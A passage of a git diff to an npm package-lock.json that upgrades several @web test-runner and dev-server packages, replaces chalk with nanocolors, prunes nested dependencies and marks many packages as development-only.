{ - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true } } }, "@web/dev-server-core": { - "version": "0.3.14", - "resolved": "https://registry.npmjs.org/@web/dev-server-core/-/dev-server-core-0.3.14.tgz", - "integrity": "sha512-QHWGbkLI7qZVkELd6a7R4llRF9zydwbZagAeiJRvOIIiDhG5Uu9DfAWAQL+RSCb2hqBlEnaVAK4keNffKol4rQ==", + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@web/dev-server-core/-/dev-server-core-0.3.16.tgz", + "integrity": "sha512-nj6liCErIGtpuZYPf6QaxGQ9nlaHd8Cf/NBcRhogskvjOVFkF3FS9xpjRw3WidkmOQnk+D0ZGCeXjtTibgy5CA==", "dev": true, "requires": { "@types/koa": "^2.11.6", @@ -4244,7 +3501,7 @@ "@web/parse5-utils": "^1.2.0", "chokidar": "^3.4.3", "clone": "^2.1.2", - "es-module-lexer": "^0.7.1", + "es-module-lexer": "^0.9.0", "get-stream": "^6.0.0", "is-stream": "^2.0.0", "isbinaryfile": "^4.0.6", @@ -4260,52 +3517,16 @@ } }, "@web/dev-server-rollup": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/@web/dev-server-rollup/-/dev-server-rollup-0.3.9.tgz", - "integrity": "sha512-8NOV8GxcDXk9u+hsVYllGiMhcORYMFK+LtLT4HIg3+emW64j0MynttowBoOFpgwv7YOuVQ6lWe1kmJxiI+TRdg==", + "version": "0.3.10", + "resolved": "https://registry.npmjs.org/@web/dev-server-rollup/-/dev-server-rollup-0.3.10.tgz", + "integrity": "sha512-TWRMP+dIw94+C8ycrqbqBQirR7XNsGsY5O0ZLaS8YQMFs/a7XcGeUq6yq8KARO22gQ9c1Nu9nrRQLp4pVieBQA==", "dev": true, "requires": { - "@web/dev-server-core": "^0.3.3", - "chalk": "^4.1.0", + "@web/dev-server-core": "^0.3.16", + "nanocolors": "^0.2.1", "parse5": "^6.0.1", "rollup": "^2.56.2", "whatwg-url": "^9.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - } } }, "@web/parse5-utils": { @@ -4327,69 +3548,35 @@ } }, "@web/test-runner": { - "version": "0.13.17", - "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.17.tgz", - "integrity": "sha512-j18WgiQtdYiIbT+dtLpVr47fUEdNFtXWBzIvgfvq4T+HZpcW32MfwgNxcaIY6o5d2851myW6Ngeq2HjuQJqaDg==", + "version": "0.13.18", + "resolved": "https://registry.npmjs.org/@web/test-runner/-/test-runner-0.13.18.tgz", + "integrity": "sha512-VeKs5RG3PbGc466Ylr0kk1S8vtXQ71Ll7g+t3bkScqlAAUo17qRpetQQjhUWQdU4uAQfteL92GLyfCc06VeYpA==", "dev": true, "requires": { "@web/browser-logs": "^0.2.2", "@web/config-loader": "^0.1.3", - "@web/dev-server": "^0.1.20", + "@web/dev-server": "^0.1.24", "@web/test-runner-chrome": "^0.10.3", "@web/test-runner-commands": "^0.5.10", - "@web/test-runner-core": "^0.10.20", + "@web/test-runner-core": "^0.10.21", "@web/test-runner-mocha": "^0.7.4", "camelcase": "^6.2.0", - "chalk": "^4.1.0", "command-line-args": "^5.1.1", "command-line-usage": "^6.1.1", "convert-source-map": "^1.7.0", "diff": "^5.0.0", "globby": "^11.0.1", + "nanocolors": "^0.2.1", "portfinder": "^1.0.28", "source-map": "^0.7.3" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, "camelcase": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", "dev": true }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "diff": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/diff/-/diff-5.0.0.tgz", @@ -4435,9 +3622,9 @@ } }, "@web/test-runner-core": { - "version": "0.10.20", - "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.20.tgz", - "integrity": "sha512-zUU8YxVMCAfYrsK3YPR6EIA5CWBrGUGUd/fNgEu4iCYsSxHFWpZsHNMOuNZS0/ssKbHJLvdDjpZ6T6EuqJT69Q==", + "version": "0.10.21", + "resolved": "https://registry.npmjs.org/@web/test-runner-core/-/test-runner-core-0.10.21.tgz", + "integrity": "sha512-Dh1TJITyil4w22DXwCmYEyp4BBzRFxRqiUbJ/iPziT1E5heAx/pZPug1oFs83LKUc/crOcDhObz6u4ynGWz9wQ==", "dev": true, "requires": { "@babel/code-frame": "^7.12.11", @@ -4447,10 +3634,8 @@ "@types/debounce": "^1.2.0", "@types/istanbul-lib-coverage": "^2.0.3", "@types/istanbul-reports": "^3.0.0", - "@types/uuid": "^8.3.0", "@web/browser-logs": "^0.2.1", - "@web/dev-server-core": "^0.3.12", - "chalk": "^4.1.0", + "@web/dev-server-core": "^0.3.16", "chokidar": "^3.4.3", "cli-cursor": "^3.1.0", "co-body": "^6.1.0", @@ -4463,57 +3648,18 @@ "istanbul-lib-report": "^3.0.0", "istanbul-reports": "^3.0.2", "log-update": "^4.0.0", + "nanocolors": "^0.2.1", + "nanoid": "^3.1.25", "open": "^8.0.2", "picomatch": "^2.2.2", - "source-map": "^0.7.3", - "uuid": "^8.3.2" + "source-map": "^0.7.3" }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, + "dependencies": { "source-map": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", "dev": true - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true } } }, @@ -4561,7 +3707,8 @@ "@webcomponents/shadycss": { "version": "1.11.0", "resolved": "https://registry.npmjs.org/@webcomponents/shadycss/-/shadycss-1.11.0.tgz", - "integrity": "sha512-L5O/+UPum8erOleNjKq6k58GVl3fNsEQdSOyh0EUhNmi7tHUyRuCJy1uqJiWydWcLARE5IPsMoPYMZmUGrz1JA==" + "integrity": "sha512-L5O/+UPum8erOleNjKq6k58GVl3fNsEQdSOyh0EUhNmi7tHUyRuCJy1uqJiWydWcLARE5IPsMoPYMZmUGrz1JA==", + "dev": true }, "JSONStream": { "version": "1.3.5", @@ -4573,15 +3720,11 @@ "through": ">=2.2.7 <3" } }, - "JSV": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/JSV/-/JSV-4.0.2.tgz", - "integrity": "sha1-0Hf2glVx+CEy+d/67Vh7QCn+/1c=" - }, "abort-controller": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "dev": true, "requires": { "event-target-shim": "^5.0.0" } @@ -4590,6 +3733,7 @@ "version": "6.2.3", "resolved": "https://registry.npmjs.org/abstract-leveldown/-/abstract-leveldown-6.2.3.tgz", "integrity": "sha512-BsLm5vFMRUrrLeCcRc+G0t2qOaTzpoJQLOubq2XM72eNpjF5UdU5o/5NvlNhx95XHcAvcl8OMXr4mlg/fRgUXQ==", + "dev": true, "requires": { "buffer": "^5.5.0", "immediate": "^3.2.3", @@ -4601,7 +3745,8 @@ "immediate": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz", - "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==" + "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q==", + "dev": true } } }, @@ -4618,7 +3763,8 @@ "acorn": { "version": "5.7.4", "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz", - "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==" + "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==", + "dev": true }, "acorn-jsx": { "version": "5.3.2", @@ -4677,12 +3823,13 @@ "amdefine": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", - "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=" + "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", + "dev": true }, "amf-client-js": { - "version": "4.7.7", - "resolved": "https://registry.npmjs.org/amf-client-js/-/amf-client-js-4.7.7.tgz", - "integrity": "sha512-HsSfSuMXSK2lBDpfdRAu8sMvmbFKJCaErphACnG+JkSU2DfdSVgG6VRMgF35NWU2/BFQycOZYZxpApS7m8BCBA==", + "version": "4.7.8", + "resolved": "https://registry.npmjs.org/amf-client-js/-/amf-client-js-4.7.8.tgz", + "integrity": "sha512-Wd6USEvxelx6DAzyILciPEWPmNRDkhN2ldBY0F8n5HrTjfRNvY/jEkV/pF/pj/WnLKtDI3cbMkMK2kzQOyF6fA==", "dev": true, "requires": { "ajv": "6.12.6", @@ -4730,21 +3877,36 @@ } }, "ansi-regex": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", - "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-1.0.0.tgz", - "integrity": "sha1-yxAt8cVvUSPquLZ817mAJ6AnkXg=" - }, - "any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=", - "dev": true + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + }, + "dependencies": { + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + } + } }, "anymatch": { "version": "3.1.2", @@ -4768,7 +3930,8 @@ "argsarray": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/argsarray/-/argsarray-0.0.1.tgz", - "integrity": "sha1-bnIHtOzbObCviDA/pa4ivajfYcs=" + "integrity": "sha1-bnIHtOzbObCviDA/pa4ivajfYcs=", + "dev": true }, "aria-query": { "version": "4.2.2", @@ -4843,7 +4006,8 @@ "ast-types": { "version": "0.9.6", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.9.6.tgz", - "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=" + "integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=", + "dev": true }, "astral-regex": { "version": "2.0.0", @@ -4872,16 +4036,11 @@ "asynciterator": "^3.0.0" } }, - "at-least-node": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", - "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", - "dev": true - }, "attempt-x": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/attempt-x/-/attempt-x-1.1.3.tgz", - "integrity": "sha512-y/+ek8IjxVpTbj/phC87jK5YRhlP5Uu7FlQdCmYuut1DTjNruyrGqUWi5bcX1VKsQX1B0FX16A1hqHomKpHv3A==" + "integrity": "sha512-y/+ek8IjxVpTbj/phC87jK5YRhlP5Uu7FlQdCmYuut1DTjNruyrGqUWi5bcX1VKsQX1B0FX16A1hqHomKpHv3A==", + "dev": true }, "axe-core": { "version": "4.3.3", @@ -4898,17 +4057,20 @@ "balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true }, "base62": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/base62/-/base62-1.2.8.tgz", - "integrity": "sha512-V6YHUbjLxN1ymqNLb1DPHoU1CpfdL7d2YTIp5W3U4hhoG4hhxNmsFDs66M9EXxBiSEke5Bt5dwdfMwwZF70iLA==" + "integrity": "sha512-V6YHUbjLxN1ymqNLb1DPHoU1CpfdL7d2YTIp5W3U4hhoG4hhxNmsFDs66M9EXxBiSEke5Bt5dwdfMwwZF70iLA==", + "dev": true }, "base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", - "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true }, "binary-extensions": { "version": "2.2.0", @@ -4925,40 +4087,13 @@ "buffer": "^5.5.0", "inherits": "^2.0.4", "readable-stream": "^3.4.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -4983,6 +4118,7 @@ "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, "requires": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" @@ -4998,6 +4134,7 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-0.1.1.tgz", "integrity": "sha1-V7GLHaChnsBvM4N6UnWiQjUb114=", + "dev": true, "requires": { "is-array-buffer-x": "^1.0.13" } @@ -5027,7 +4164,8 @@ "cached-constructors-x": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/cached-constructors-x/-/cached-constructors-x-1.0.2.tgz", - "integrity": "sha512-7lKwmwXweW6E/31RHAJemLtZPfb2xvcABXknFF4b/dNYv4DbSGTgQHckXLQkNw6BB4HKFYW6mJgsNjADAy1ehw==" + "integrity": "sha512-7lKwmwXweW6E/31RHAJemLtZPfb2xvcABXknFF4b/dNYv4DbSGTgQHckXLQkNw6BB4HKFYW6mJgsNjADAy1ehw==", + "dev": true }, "call-bind": { "version": "1.0.2", @@ -5092,25 +4230,26 @@ } }, "chai-dom": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/chai-dom/-/chai-dom-1.9.0.tgz", - "integrity": "sha512-UXSbhcGVBWv/5qVqbJY/giTDRyo3wKapUsWluEuVvxcJLFXkyf8l4D2PTd6trzrmca6WWnGdpaFkYdl1P0WjtA==", + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/chai-dom/-/chai-dom-1.10.0.tgz", + "integrity": "sha512-/FE0NvEGMXx1x1YQlc8ihLrEhH8JawflchuGe6ypIAX/4Zwmkr4cC3mfR9pDytbxsE/2LSm719TeU7VF/TCmtg==", "dev": true }, "chalk": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-0.4.0.tgz", - "integrity": "sha1-UZmj3c0MHv4jvAjBsCewYXbgxk8=", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, "requires": { - "ansi-styles": "~1.0.0", - "has-color": "~0.1.0", - "strip-ansi": "~0.1.0" + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" } }, "charenc": { "version": "0.0.2", "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", - "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=" + "integrity": "sha1-wKHS86cJLgN3S/qD8UwPxXkKhmc=", + "dev": true }, "check-error": { "version": "1.0.2", @@ -5185,30 +4324,6 @@ "string-width": "^4.2.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "slice-ansi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", @@ -5231,17 +4346,6 @@ "string-width": "^4.2.0", "strip-ansi": "^6.0.0", "wrap-ansi": "^7.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - } } }, "clone": { @@ -5253,7 +4357,8 @@ "clone-buffer": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz", - "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg=" + "integrity": "sha1-4+JbIHrE5wGvch4staFnksrD3Fg=", + "dev": true }, "co": { "version": "4.6.0", @@ -5276,7 +4381,8 @@ "codemirror": { "version": "5.63.0", "resolved": "https://registry.npmjs.org/codemirror/-/codemirror-5.63.0.tgz", - "integrity": "sha512-KlLWRPggDg2rBD1Mx7/EqEhaBdy+ybBCVh/efgjBDsPpMeEu6MbTAJzIT4TuCzvmbTEgvKOGzVT6wdBTNusqrg==" + "integrity": "sha512-KlLWRPggDg2rBD1Mx7/EqEhaBdy+ybBCVh/efgjBDsPpMeEu6MbTAJzIT4TuCzvmbTEgvKOGzVT6wdBTNusqrg==", + "dev": true }, "color": { "version": "3.0.0", @@ -5411,12 +4517,14 @@ "commander": { "version": "2.20.3", "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true }, "commoner": { "version": "0.10.8", "resolved": "https://registry.npmjs.org/commoner/-/commoner-0.10.8.tgz", "integrity": "sha1-NPw2cs0kOT6LtH5wyqApOBH08sU=", + "dev": true, "requires": { "commander": "^2.5.0", "detective": "^4.3.1", @@ -5461,9 +4569,9 @@ }, "dependencies": { "@types/node": { - "version": "14.17.15", - "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.15.tgz", - "integrity": "sha512-D1sdW0EcSCmNdLKBGMYb38YsHUS6JcM7yQ6sLQ9KuZ35ck7LYCKE7kYFHOO59ayFOY3zobWVZxf4KXhYHcHYFA==", + "version": "14.17.19", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.19.tgz", + "integrity": "sha512-jjYI6NkyfXykucU6ELEoT64QyKOdvaA6enOqKtP4xUsGY0X0ZUZz29fUmrTRo+7v7c6TgDu82q3GHHaCEkqZwA==", "dev": true } } @@ -5471,7 +4579,8 @@ "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true }, "confusing-browser-globals": { "version": "1.0.10", @@ -5537,32 +4646,6 @@ "through2": "^4.0.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - 